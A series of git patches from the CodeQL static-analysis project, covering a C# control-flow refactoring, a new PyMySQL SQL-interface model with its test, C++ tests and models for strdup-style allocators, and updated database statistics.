getConditionalCompletion(_) | succ(this.getLastElement(), _, c) or - succExit(this.getLastElement(), _, c) + scopeLast(_, this.getLastElement(), c) ) } diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/PreSsa.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/PreSsa.qll index 1599de3f6b6..8243520aaf1 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/PreSsa.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/PreSsa.qll @@ -140,7 +140,7 @@ class Definition extends TPreSsaDef { predicate implicitEntryDef(Callable c, PreBasicBlock bb, SimpleAssignable a) { not a instanceof LocalScopeVariable and c = a.getACallable() and - succEntry(c, bb) + scopeFirst(c, bb) } private predicate assignableDefAt( @@ -157,7 +157,7 @@ private predicate assignableDefAt( or def.(ImplicitParameterDefinition).getParameter() = a and exists(Callable c | a = c.getAParameter() | - succEntry(c, bb) and + scopeFirst(c, bb) and i = -1 ) } @@ -169,7 +169,7 @@ private predicate readAt(PreBasicBlock bb, int i, AssignableRead read, SimpleAss pragma[noinline] private predicate exitBlock(PreBasicBlock bb, Callable c) { - succExit(bb.getLastElement(), _, _) and + scopeLast(c, bb.getLastElement(), _) and c = bb.getEnclosingCallable() } diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll index cc8e07a264c..d8e881a4e93 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll @@ -173,9 +173,9 @@ abstract class SplitImpl extends Split { * Holds if this split is entered when control passes from `scope` to the entry point * `first`. * - * Invariant: `hasEntryScope(scope, first) implies succEntry(scope, first)`. + * Invariant: `hasEntryScope(scope, first) implies scopeFirst(scope, first)`. */ - abstract predicate hasEntryScope(Callable scope, ControlFlowElement first); + abstract predicate hasEntryScope(CfgScope scope, ControlFlowElement first); /** * Holds if this split is left when control passes from `pred` to `succ` with @@ -189,9 +189,9 @@ abstract class SplitImpl extends Split { * Holds if this split is left when control passes from `last` out of the enclosing * scope `scope` with completion `c`. * - * Invariant: `hasExitScope(last, scope, c) implies succExit(last, scope, c)` + * Invariant: `hasExitScope(last, scope, c) implies scopeLast(scope, last, c)` */ - abstract predicate hasExitScope(ControlFlowElement last, Callable scope, Completion c); + abstract predicate hasExitScope(ControlFlowElement last, CfgScope scope, Completion c); /** * Holds if this split is maintained when control passes from `pred` to `succ` with @@ -364,8 +364,8 @@ module InitializerSplitting { ) } - override predicate hasEntryScope(Callable scope, ControlFlowElement first) { - succEntry(scope, first) and + override predicate hasEntryScope(CfgScope scope, ControlFlowElement first) { + scopeFirst(scope, first) and scope = this.getConstructor() and first = any(InitializedInstanceMember m).getAnInitializerDescendant() } @@ -377,9 +377,9 @@ module InitializerSplitting { succ.getEnclosingCallable() = this.getConstructor() } - override predicate hasExitScope(ControlFlowElement last, Callable scope, Completion c) { + override predicate hasExitScope(ControlFlowElement last, CfgScope scope, Completion c) { this.appliesTo(last) and - succExit(last, scope, c) and + scopeLast(scope, last, c) and scope = this.getConstructor() } @@ -468,7 +468,7 @@ module ConditionalCompletionSplitting { ) } - override predicate hasEntryScope(Callable scope, ControlFlowElement first) { none() } + override predicate hasEntryScope(CfgScope scope, ControlFlowElement first) { none() } override predicate hasExit(ControlFlowElement pred, ControlFlowElement succ, Completion c) { this.appliesTo(pred) and @@ -476,9 +476,9 @@ module ConditionalCompletionSplitting { if c instanceof ConditionalCompletion then completion = c else any() } - override predicate hasExitScope(ControlFlowElement last, Callable scope, Completion c) { + override predicate hasExitScope(ControlFlowElement last, CfgScope scope, Completion c) { this.appliesTo(last) and - succExit(last, scope, c) and + scopeLast(scope, last, c) and if c instanceof ConditionalCompletion then completion = c else any() } @@ -574,7 +574,7 @@ module AssertionSplitting { ) } - override predicate hasEntryScope(Callable scope, ControlFlowElement first) { none() } + override predicate hasEntryScope(CfgScope scope, ControlFlowElement first) { none() } override predicate hasExit(ControlFlowElement pred, ControlFlowElement succ, Completion c) { this.appliesTo(pred) and @@ -589,10 +589,10 @@ module AssertionSplitting { ) } - override predicate hasExitScope(ControlFlowElement last, Callable scope, Completion c) { + override predicate hasExitScope(ControlFlowElement last, CfgScope scope, Completion c) { this.appliesTo(last) and last = a and - succExit(last, scope, c) and + scopeLast(scope, last, c) and ( success = true and c instanceof NormalCompletion @@ -736,7 +736,7 @@ module FinallySplitting { this.getType().isSplitForEntryCompletion(c) } - override predicate hasEntryScope(Callable scope, ControlFlowElement first) { none() } + override predicate hasEntryScope(CfgScope scope, ControlFlowElement first) { none() } /** * Holds if this split applies to control flow element `pred`, where `pred` @@ -744,7 +744,7 @@ module FinallySplitting { */ private predicate appliesToPredecessor(ControlFlowElement pred) { this.appliesTo(pred) and - (succ(pred, _, _) or succExit(pred, _, _)) + (succ(pred, _, _) or scopeLast(_, pred, _)) } pragma[noinline] @@ -831,8 +831,8 @@ module FinallySplitting { ) } - override predicate hasExitScope(ControlFlowElement last, Callable scope, Completion c) { - succExit(last, scope, c) and + override predicate hasExitScope(ControlFlowElement last, CfgScope scope, Completion c) { + scopeLast(scope, last, c) and ( exit(last, c, _) or @@ -930,7 +930,7 @@ module ExceptionHandlerSplitting { ) } - override predicate hasEntryScope(Callable scope, ControlFlowElement first) { none() } + override predicate hasEntryScope(CfgScope scope, ControlFlowElement first) { none() } /** * Holds if this split applies to catch clause `scc`. The parameter `match` @@ -958,7 +958,7 @@ module ExceptionHandlerSplitting { */ private predicate appliesToPredecessor(ControlFlowElement pred, Completion c) { this.appliesTo(pred) and - (succ(pred, _, c) or succExit(pred, _, c)) and + (succ(pred, _, c) or scopeLast(_, pred, c)) and ( pred instanceof SpecificCatchClause implies @@ -1012,10 +1012,10 @@ module ExceptionHandlerSplitting { ) } - override predicate hasExitScope(ControlFlowElement last, Callable scope, Completion c) { + override predicate hasExitScope(ControlFlowElement last, CfgScope scope, Completion c) { // Exit out from last `catch` clause (no catch clauses match) this.hasLastExit(last, c) and - succExit(last, scope, c) + scopeLast(scope, last, c) } override predicate hasSuccessor(ControlFlowElement pred, ControlFlowElement succ, Completion c) { @@ -1242,7 +1242,7 @@ module BooleanSplitting { hasEntry0(pred, succ, this.getSubKind(), this.getBranch(), c) } - override predicate hasEntryScope(Callable scope, ControlFlowElement first) { none() } + override predicate hasEntryScope(CfgScope scope, ControlFlowElement first) { none() } private ConditionBlock getACorrelatedCondition(boolean inverted) { this.getSubKind().correlatesConditions(_, result, inverted) @@ -1255,7 +1255,7 @@ module BooleanSplitting { private predicate appliesToBlock(PreBasicBlock bb, Completion c) { this.appliesTo(bb) and exists(ControlFlowElement last | last = bb.getLastElement() | - (succ(last, _, c) or succExit(last, _, c)) and + (succ(last, _, c) or scopeLast(_, last, c)) and // Respect the value recorded in this split for all correlated conditions forall(boolean inverted | bb = this.getACorrelatedCondition(inverted) | c.getInnerCompletion() instanceof BooleanCompletion @@ -1275,10 +1275,10 @@ module BooleanSplitting { ) } - override predicate hasExitScope(ControlFlowElement last, Callable scope, Completion c) { + override predicate hasExitScope(ControlFlowElement last, CfgScope scope, Completion c) { exists(PreBasicBlock bb | this.appliesToBlock(bb, c) | last = bb.getLastElement() and - succExit(last, scope, c) + scopeLast(scope, last, c) ) } @@ -1452,7 +1452,7 @@ module LoopSplitting { loop.start(pred, succ, c) } - override predicate hasEntryScope(Callable scope, ControlFlowElement first) { none() } + override predicate hasEntryScope(CfgScope scope, ControlFlowElement first) { none() } /** * Holds if this split applies to control flow element `pred`, where `pred` @@ -1460,7 +1460,7 @@ module LoopSplitting { */ private predicate appliesToPredecessor(ControlFlowElement pred, Completion c) { this.appliesTo(pred) and - (succ(pred, _, c) or succExit(pred, _, c)) and + (succ(pred, _, c) or scopeLast(_, pred, c)) and not loop.pruneLoopCondition(pred, c) } @@ -1469,9 +1469,9 @@ module LoopSplitting { loop.stop(pred, succ, c) } - override predicate hasExitScope(ControlFlowElement last, Callable scope, Completion c) { + override predicate hasExitScope(ControlFlowElement last, CfgScope scope, Completion c) { this.appliesToPredecessor(last, c) and - succExit(last, scope, c) + scopeLast(scope, last, c) } override predicate hasSuccessor(ControlFlowElement pred, ControlFlowElement succ, Completion c) { @@ -1501,10 +1501,10 @@ class Splits extends TSplits { } private predicate succEntrySplitsFromRank( - @top_level_exprorstmt_parent pred, ControlFlowElement succ, Splits splits, int rnk + CfgScope pred, ControlFlowElement succ, Splits splits, int rnk ) { splits = TSplitsNil() and - succEntry(pred, succ) and + scopeFirst(pred, succ) and rnk = 0 or exists(SplitImpl head, Splits tail | succEntrySplitsCons(pred, succ, head, tail, rnk) | @@ -1525,11 +1525,9 @@ private predicate succEntrySplitsCons( * when entering callable `pred`. */ pragma[noinline] -predicate succEntrySplits( - @top_level_exprorstmt_parent pred, ControlFlowElement succ, Splits succSplits, SuccessorType t -) { +predicate succEntrySplits(CfgScope pred, ControlFlowElement succ, Splits succSplits, SuccessorType t) { exists(int rnk | - succEntry(pred, succ) and + scopeFirst(pred, succ) and t instanceof NormalSuccessor and succEntrySplitsFromRank(pred, succ, succSplits, rnk) and // Attribute arguments in assemblies are represented as expressions, even though @@ -1548,11 +1546,11 @@ predicate succEntrySplits( * Holds if `pred` with splits `predSplits` can exit the enclosing callable * `succ` with type `t`. */ -predicate succExitSplits(ControlFlowElement pred, Splits predSplits, Callable succ, SuccessorType t) { +predicate succExitSplits(ControlFlowElement pred, Splits predSplits, CfgScope succ, SuccessorType t) { exists(Reachability::SameSplitsBlock b, Completion c | pred = b.getAnElement() | b.isReachable(predSplits) and t = c.getAMatchingSuccessorType() and - succExit(pred, succ, c) and + scopeLast(succ, pred, c) and forall(SplitImpl predSplit | predSplit = predSplits.getASplit() | predSplit.hasExitScope(pred, succ, c) ) @@ -1889,7 +1887,7 @@ module Reachability { * That is, `cfe` starts a new block of elements with the same set of splits. */ private predicate startsSplits(ControlFlowElement cfe) { - succEntry(_, cfe) + scopeFirst(_, cfe) or exists(SplitImpl s | s.hasEntry(_, cfe, _) diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll index 380bbe59485..d3f616c6609 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll @@ -4,6 +4,7 @@ module Private { private import semmle.code.csharp.dataflow.internal.rangeanalysis.RangeUtils as RU private import SsaUtils as SU private import SsaReadPositionCommon + private import semmle.code.csharp.controlflow.internal.ControlFlowGraphImpl as CfgImpl class BasicBlock = CS::Ssa::BasicBlock; @@ -43,22 +44,16 @@ module Private { Expr getABasicBlockExpr(BasicBlock bb) { result = bb.getANode() } - private class CallableOrCFE extends CS::Element { - CallableOrCFE() { this instanceof CS::Callable or this instanceof CS::ControlFlowElement } - } - - private predicate id(CallableOrCFE x, CallableOrCFE y) { x = y } - - private predicate idOf(CallableOrCFE x, int y) = equivalenceRelation(id/2)(x, y) - private class PhiInputEdgeBlock extends BasicBlock { PhiInputEdgeBlock() { this = any(SsaReadPositionPhiInputEdge edge).getOrigBlock() } } int getId(PhiInputEdgeBlock bb) { - idOf(bb.getFirstNode().getElement(), result) - or - idOf(bb.(CS::ControlFlow::BasicBlocks::EntryBlock).getCallable(), result) + exists(CfgImpl::ControlFlowTree::Range t | CfgImpl::ControlFlowTree::idOf(t, result) | + t = bb.getFirstNode().getElement() + or + t = bb.(CS::ControlFlow::BasicBlocks::EntryBlock).getCallable() + ) } private string getSplitString(PhiInputEdgeBlock bb) { diff --git a/csharp/ql/test/library-tests/frameworks/test/Test.expected b/csharp/ql/test/library-tests/frameworks/test/Test.expected index d988aadc549..3ac740f05d8 100644 --- a/csharp/ql/test/library-tests/frameworks/test/Test.expected +++ b/csharp/ql/test/library-tests/frameworks/test/Test.expected @@ -1,33 +1,42 @@ | VisualStudio.cs:9:11:9:21 | MyTestSuite | TestClass | LeafType | | VisualStudio.cs:9:11:9:21 | MyTestSuite | TestClass | VSTestClass | -| VisualStudio.cs:12:21:12:25 | Test1 | TestMethod | CallableOrCFE | +| VisualStudio.cs:12:21:12:25 | Test1 | TestMethod | CallableTree | +| VisualStudio.cs:12:21:12:25 | Test1 | TestMethod | CfgScope | | VisualStudio.cs:12:21:12:25 | Test1 | TestMethod | InstanceCallable | | VisualStudio.cs:12:21:12:25 | Test1 | TestMethod | VSTestMethod | -| VisualStudio.cs:17:21:17:25 | Test2 | TestMethod | CallableOrCFE | +| VisualStudio.cs:17:21:17:25 | Test2 | TestMethod | CallableTree | +| VisualStudio.cs:17:21:17:25 | Test2 | TestMethod | CfgScope | | VisualStudio.cs:17:21:17:25 | Test2 | TestMethod | InstanceCallable | | VisualStudio.cs:17:21:17:25 | Test2 | TestMethod | VSTestMethod | | XUnit.cs:22:11:22:21 | MyTestSuite | TestClass | LeafType | | XUnit.cs:22:11:22:21 | MyTestSuite | TestClass | XUnitTestClass | -| XUnit.cs:25:21:25:25 | Test1 | TestMethod | CallableOrCFE | +| XUnit.cs:25:21:25:25 | Test1 | TestMethod | CallableTree | +| XUnit.cs:25:21:25:25 | Test1 | TestMethod | CfgScope | | XUnit.cs:25:21:25:25 | Test1 | TestMethod | InstanceCallable | | XUnit.cs:25:21:25:25 | Test1 | TestMethod | XUnitTestMethod | -| XUnit.cs:30:21:30:25 | Test2 | TestMethod | CallableOrCFE | +| XUnit.cs:30:21:30:25 | Test2 | TestMethod | CallableTree | +| XUnit.cs:30:21:30:25 | Test2 | TestMethod | CfgScope | | XUnit.cs:30:21:30:25 | Test2 | TestMethod | InstanceCallable | | XUnit.cs:30:21:30:25 | Test2 | TestMethod | XUnitTestMethod | | nunit.cs:75:11:75:21 | MyTestSuite | TestClass | LeafType | | nunit.cs:75:11:75:21 | MyTestSuite | TestClass | NUnitFixture | -| nunit.cs:85:21:85:25 | Test1 | TestMethod | CallableOrCFE | +| nunit.cs:85:21:85:25 | Test1 | TestMethod | CallableTree | +| nunit.cs:85:21:85:25 | Test1 | TestMethod | CfgScope | | nunit.cs:85:21:85:25 | Test1 | TestMethod | InstanceCallable | | nunit.cs:85:21:85:25 | Test1 | TestMethod | NUnitTestMethod | -| nunit.cs:90:21:90:25 | Test2 | TestMethod | CallableOrCFE | +| nunit.cs:90:21:90:25 | Test2 | TestMethod | CallableTree | +| nunit.cs:90:21:90:25 | Test2 | TestMethod | CfgScope | | nunit.cs:90:21:90:25 | Test2 | TestMethod | InstanceCallable | | nunit.cs:90:21:90:25 | Test2 | TestMethod | NUnitTestMethod | -| nunit.cs:95:21:95:25 | Test3 | TestMethod | CallableOrCFE | +| nunit.cs:95:21:95:25 | Test3 | TestMethod | CallableTree | +| nunit.cs:95:21:95:25 | Test3 | TestMethod | CfgScope | | nunit.cs:95:21:95:25 | Test3 | TestMethod | InstanceCallable | | nunit.cs:95:21:95:25 | Test3 | TestMethod | NUnitTestMethod | -| nunit.cs:100:21:100:25 | Test4 | TestMethod | CallableOrCFE | +| nunit.cs:100:21:100:25 | Test4 | TestMethod | CallableTree | +| nunit.cs:100:21:100:25 | Test4 | TestMethod | CfgScope | | nunit.cs:100:21:100:25 | Test4 | TestMethod | InstanceCallable | | nunit.cs:100:21:100:25 | Test4 | TestMethod | NUnitTestMethod | -| nunit.cs:105:21:105:25 | Test5 | TestMethod | CallableOrCFE | +| nunit.cs:105:21:105:25 | Test5 | TestMethod | CallableTree | +| nunit.cs:105:21:105:25 | Test5 | TestMethod | CfgScope | | nunit.cs:105:21:105:25 | Test5 | TestMethod | InstanceCallable | | nunit.cs:105:21:105:25 | Test5 | TestMethod | NUnitTestMethod | From e7b6400e48c419c61ccab3e3325303179ce9ca65 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Mon, 14 Dec 2020 10:55:01 +0100 Subject: [PATCH 0248/1241] Python: Add tests for PyMySQL --- .../library-tests/frameworks/pymysql/ConceptsTest.expected | 0 .../library-tests/frameworks/pymysql/ConceptsTest.ql | 2 ++ .../experimental/library-tests/frameworks/pymysql/pep249.py | 5 +++++ 3 files changed, 7 insertions(+) create mode 100644 python/ql/test/experimental/library-tests/frameworks/pymysql/ConceptsTest.expected create mode 100644 python/ql/test/experimental/library-tests/frameworks/pymysql/ConceptsTest.ql create mode 100644 python/ql/test/experimental/library-tests/frameworks/pymysql/pep249.py diff --git a/python/ql/test/experimental/library-tests/frameworks/pymysql/ConceptsTest.expected b/python/ql/test/experimental/library-tests/frameworks/pymysql/ConceptsTest.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/experimental/library-tests/frameworks/pymysql/ConceptsTest.ql b/python/ql/test/experimental/library-tests/frameworks/pymysql/ConceptsTest.ql new file mode 100644 index 00000000000..b557a0bccb6 --- /dev/null +++ b/python/ql/test/experimental/library-tests/frameworks/pymysql/ConceptsTest.ql @@ -0,0 +1,2 @@ +import python +import experimental.meta.ConceptsTest diff --git a/python/ql/test/experimental/library-tests/frameworks/pymysql/pep249.py b/python/ql/test/experimental/library-tests/frameworks/pymysql/pep249.py new file mode 100644 index 00000000000..4749b83dc95 --- /dev/null +++ b/python/ql/test/experimental/library-tests/frameworks/pymysql/pep249.py @@ -0,0 +1,5 @@ +import pymysql +connection = pymysql.connect(host="localhost", user="user", password="passwd") + +cursor = connection.cursor() +cursor.execute("some sql", (42,)) # $ MISSING: getSql="some sql" From 31d4ea77cbce6b801420ff39a5a492f1b4dd17a7 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Mon, 14 Dec 2020 10:56:33 +0100 Subject: [PATCH 0249/1241] Python: Add modeling of PyMySQL --- .../2020-12-14-add-PyMySQL-model.md | 2 ++ python/ql/src/semmle/python/Frameworks.qll | 3 +- .../src/semmle/python/frameworks/PyMySQL.qll | 32 +++++++++++++++++++ .../frameworks/pymysql/pep249.py | 2 +- 4 files changed, 37 insertions(+), 2 deletions(-) create mode 100644 python/change-notes/2020-12-14-add-PyMySQL-model.md create mode 100644 python/ql/src/semmle/python/frameworks/PyMySQL.qll diff --git a/python/change-notes/2020-12-14-add-PyMySQL-model.md b/python/change-notes/2020-12-14-add-PyMySQL-model.md new file mode 100644 index 00000000000..d66e18473e9 --- /dev/null +++ b/python/change-notes/2020-12-14-add-PyMySQL-model.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* Added model of `PyMySQL` PyPI package as a SQL interface following PEP249, resulting in additional sinks for `py/sql-injection`. diff --git a/python/ql/src/semmle/python/Frameworks.qll b/python/ql/src/semmle/python/Frameworks.qll index 6f86928c75b..a758e114fd2 100644 --- a/python/ql/src/semmle/python/Frameworks.qll +++ b/python/ql/src/semmle/python/Frameworks.qll @@ -7,8 +7,9 @@ private import semmle.python.frameworks.Django private import semmle.python.frameworks.Fabric private import semmle.python.frameworks.Flask private import semmle.python.frameworks.Invoke -private import semmle.python.frameworks.MySQLdb private import semmle.python.frameworks.MysqlConnectorPython +private import semmle.python.frameworks.MySQLdb private import semmle.python.frameworks.Psycopg2 +private import semmle.python.frameworks.PyMySQL private import semmle.python.frameworks.Stdlib private import semmle.python.frameworks.Yaml diff --git a/python/ql/src/semmle/python/frameworks/PyMySQL.qll b/python/ql/src/semmle/python/frameworks/PyMySQL.qll new file mode 100644 index 00000000000..954d2f690dd --- /dev/null +++ b/python/ql/src/semmle/python/frameworks/PyMySQL.qll @@ -0,0 +1,32 @@ +/** + * Provides classes modeling security-relevant aspects of the `PyMySQL` PyPI package. + * See https://pypi.org/project/PyMySQL/ + */ + +private import python +private import semmle.python.dataflow.new.DataFlow +private import semmle.python.dataflow.new.RemoteFlowSources +private import semmle.python.Concepts +private import PEP249 + +/** + * Provides models for the `PyMySQL` PyPI package. + * See https://pypi.org/project/PyMySQL/ + */ +private module PyMySQL { + /** Gets a reference to the `pymysql` module. */ + private DataFlow::Node pymysql(DataFlow::TypeTracker t) { + t.start() and + result = DataFlow::importNode("pymysql") + or + exists(DataFlow::TypeTracker t2 | result = pymysql(t2).track(t2, t)) + } + + /** Gets a reference to the `pymysql` module. */ + DataFlow::Node pymysql() { result = pymysql(DataFlow::TypeTracker::end()) } + + /** PyMySQL implements PEP 249, providing ways to execute SQL statements against a database. */ + class PyMySQLPEP249 extends PEP249Module { + PyMySQLPEP249() { this = pymysql() } + } +} diff --git a/python/ql/test/experimental/library-tests/frameworks/pymysql/pep249.py b/python/ql/test/experimental/library-tests/frameworks/pymysql/pep249.py index 4749b83dc95..363e55f1fc3 100644 --- a/python/ql/test/experimental/library-tests/frameworks/pymysql/pep249.py +++ b/python/ql/test/experimental/library-tests/frameworks/pymysql/pep249.py @@ -2,4 +2,4 @@ import pymysql connection = pymysql.connect(host="localhost", user="user", password="passwd") cursor = connection.cursor() -cursor.execute("some sql", (42,)) # $ MISSING: getSql="some sql" +cursor.execute("some sql", (42,)) # $ getSql="some sql" From daf418624e03372234bb6c26658f0783ec03c075 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Mon, 14 Dec 2020 10:57:51 +0100 Subject: [PATCH 0250/1241] Python: Make all PEP249 implementations private Since we're still sticking with `private by default` at least for a while longer. --- python/ql/src/semmle/python/frameworks/MySQLdb.qll | 2 +- python/ql/src/semmle/python/frameworks/MysqlConnectorPython.qll | 2 +- python/ql/src/semmle/python/frameworks/Psycopg2.qll | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/MySQLdb.qll b/python/ql/src/semmle/python/frameworks/MySQLdb.qll index ad8036655f5..7013c6f5d02 100644 --- a/python/ql/src/semmle/python/frameworks/MySQLdb.qll +++ b/python/ql/src/semmle/python/frameworks/MySQLdb.qll @@ -17,7 +17,7 @@ private import PEP249 * - https://mysqlclient.readthedocs.io/index.html * - https://pypi.org/project/MySQL-python/ */ -module MySQLdb { +private module MySQLdb { // --------------------------------------------------------------------------- // MySQLdb // --------------------------------------------------------------------------- diff --git a/python/ql/src/semmle/python/frameworks/MysqlConnectorPython.qll b/python/ql/src/semmle/python/frameworks/MysqlConnectorPython.qll index df47edfa83b..1722bdcb51e 100644 --- a/python/ql/src/semmle/python/frameworks/MysqlConnectorPython.qll +++ b/python/ql/src/semmle/python/frameworks/MysqlConnectorPython.qll @@ -17,7 +17,7 @@ private import PEP249 * - https://dev.mysql.com/doc/connector-python/en/ * - https://dev.mysql.com/doc/connector-python/en/connector-python-example-connecting.html */ -module MysqlConnectorPython { +private module MysqlConnectorPython { // --------------------------------------------------------------------------- // mysql // --------------------------------------------------------------------------- diff --git a/python/ql/src/semmle/python/frameworks/Psycopg2.qll b/python/ql/src/semmle/python/frameworks/Psycopg2.qll index fd327297ed9..96beee3f011 100644 --- a/python/ql/src/semmle/python/frameworks/Psycopg2.qll +++ b/python/ql/src/semmle/python/frameworks/Psycopg2.qll @@ -17,7 +17,7 @@ private import PEP249 * - https://www.psycopg.org/docs/ * - https://pypi.org/project/psycopg2/ */ -module Psycopg2 { +private module Psycopg2 { // --------------------------------------------------------------------------- // Psycopg // --------------------------------------------------------------------------- From 899d1ab6d836b6969f95c8a7a9d441cd90236add Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 14 Dec 2020 13:14:03 +0000 Subject: [PATCH 0251/1241] C++: Add tests of strdup (and variants) as allocators. --- .../Critical/NewFree/NewFreeMismatch.expected | 3 +++ .../query-tests/Critical/NewFree/test.cpp | 21 +++++++++++++++++++ 2 files changed, 24 insertions(+) diff --git a/cpp/ql/test/query-tests/Critical/NewFree/NewFreeMismatch.expected b/cpp/ql/test/query-tests/Critical/NewFree/NewFreeMismatch.expected index 45f88d426c9..3326d94a7d2 100644 --- a/cpp/ql/test/query-tests/Critical/NewFree/NewFreeMismatch.expected +++ b/cpp/ql/test/query-tests/Critical/NewFree/NewFreeMismatch.expected @@ -18,3 +18,6 @@ | test.cpp:235:2:235:5 | call to free | There is a new/free mismatch between this free and the corresponding $@. | test.cpp:227:7:227:13 | new | new | | test.cpp:239:2:239:5 | call to free | There is a new/free mismatch between this free and the corresponding $@. | test.cpp:228:7:228:17 | new[] | new[] | | test.cpp:272:3:272:6 | call to free | There is a new/free mismatch between this free and the corresponding $@. | test.cpp:265:7:265:13 | new | new | +| test.cpp:441:2:441:10 | delete | There is a malloc/delete mismatch between this delete and the corresponding $@. | test.cpp:434:13:434:18 | call to strdup | malloc | +| test.cpp:443:2:443:10 | delete | There is a malloc/delete mismatch between this delete and the corresponding $@. | test.cpp:436:13:436:19 | call to strndup | malloc | +| test.cpp:445:2:445:10 | delete | There is a malloc/delete mismatch between this delete and the corresponding $@. | test.cpp:438:16:438:21 | call to wcsdup | malloc | diff --git a/cpp/ql/test/query-tests/Critical/NewFree/test.cpp b/cpp/ql/test/query-tests/Critical/NewFree/test.cpp index 9a9483b7f72..0807eadb333 100644 --- a/cpp/ql/test/query-tests/Critical/NewFree/test.cpp +++ b/cpp/ql/test/query-tests/Critical/NewFree/test.cpp @@ -424,3 +424,24 @@ void test13() delete myPointer3.getPointer(); // GOOD } + +char *strdup(const char *s1); +char *strndup(const char *s1, size_t n); +wchar_t* wcsdup(const wchar_t* s1); + +void test14() +{ + char *s1 = strdup("string"); + char *s2 = strdup("string"); + char *s3 = strndup("string", 3); + char *s4 = strndup("string", 3); + wchar_t *s5 = wcsdup(L"string"); + wchar_t *s6 = wcsdup(L"string"); + + delete s1; // BAD: strdup -> delete + free(s2); // GOOD + delete s3; // BAD: strndup -> delete + free(s4); // GOOD + delete s5; // BAD: wcsdup -> delete + free(s6); // GOOD +} From e02ebfb9bd9d4b2306fc3ba297de427d21692b18 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 7 Dec 2020 18:44:46 +0000 Subject: [PATCH 0252/1241] C++: Add extra cases to Allocation / Deallocation. --- .../code/cpp/models/implementations/Allocation.qll | 4 +++- .../semmle/code/cpp/models/implementations/Strdup.qll | 9 ++++++--- 2 files changed, 9 insertions(+), 4 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll index b500f2b1c57..5fee59e362d 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll @@ -82,7 +82,9 @@ private class AllocaAllocationFunction extends AllocationFunction { hasGlobalName([ // --- stack allocation "alloca", // // alloca(size) - "__builtin_alloca" // __builtin_alloca(size) + "__builtin_alloca", // __builtin_alloca(size) + "_alloca", // __alloca(size) + "_malloca" // _malloca(size) ]) and sizeArg = 0 } diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Strdup.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Strdup.qll index 655c17a6017..69ea3610970 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Strdup.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Strdup.qll @@ -14,11 +14,14 @@ import semmle.code.cpp.models.interfaces.Taint private class StrdupFunction extends AllocationFunction, ArrayFunction, DataFlowFunction { StrdupFunction() { hasGlobalName([ + // --- C library allocation "strdup", // strdup(str) "wcsdup", // wcsdup(str) "_strdup", // _strdup(str) "_wcsdup", // _wcsdup(str) - "_mbsdup" // _mbsdup(str) + "_mbsdup", // _mbsdup(str) + // --- Windows Automation + "SysAllocString" // SysAllocString(string) ]) } @@ -39,8 +42,8 @@ private class StrndupFunction extends AllocationFunction, ArrayFunction, DataFlo StrndupFunction() { exists(string name | hasGlobalName(name) and - // strndup(str, maxlen) - name = "strndup" + // --- C library allocation + name = "strndup" // strndup(str, maxlen) ) } From 74c88e6bac43107f4b081d729a1a00e114d2cc37 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Mon, 14 Dec 2020 17:16:29 +0100 Subject: [PATCH 0253/1241] Add DB stats --- .../ql/src/semmlecode.csharp.dbscheme.stats | 5399 +++++++++-------- 1 file changed, 2710 insertions(+), 2689 deletions(-) diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme.stats b/csharp/ql/src/semmlecode.csharp.dbscheme.stats index ed40bf17672..397b39b64fb 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme.stats +++ b/csharp/ql/src/semmlecode.csharp.dbscheme.stats @@ -1,7 +1,7 @@ @compilation -1096 +1095 @diagnostic @@ -25,7 +25,7 @@ @duplication -22738 +22719 @similarity @@ -33,31 +33,31 @@ @location_default -14069317 +14069206 @assembly -4198 +4195 @file -42471 +42436 @folder -16932 +16918 @namespace -21944 +21926 @namespace_declaration -19762 +19745 @using_namespace_directive -144270 +144149 @using_static_directive @@ -117,23 +117,23 @@ @enum_type -11953 +11943 @struct_type -49671 +49629 @class_type -305136 +304880 @interface_type -178134 +177985 @delegate_type -107580 +107490 @null_type @@ -141,7 +141,7 @@ @type_parameter -202622 +202452 @pointer_type @@ -153,7 +153,7 @@ @array_type -9123 +9116 @void_type @@ -165,7 +165,7 @@ @tuple_type -1782 +1781 @uint_ptr_type @@ -185,19 +185,19 @@ @typeref -234820 +234624 @attribute -749360 +748732 @type_mention -1267440 +1266369 @oblivious -1315 +1314 @not_annotated @@ -209,7 +209,7 @@ @type_parameter_constraints -610857 +610345 @modifier @@ -217,47 +217,47 @@ @property -423579 +423224 @indexer -17044 +17030 @getter -440390 +440021 @setter -127542 +127435 @event -15232 +15219 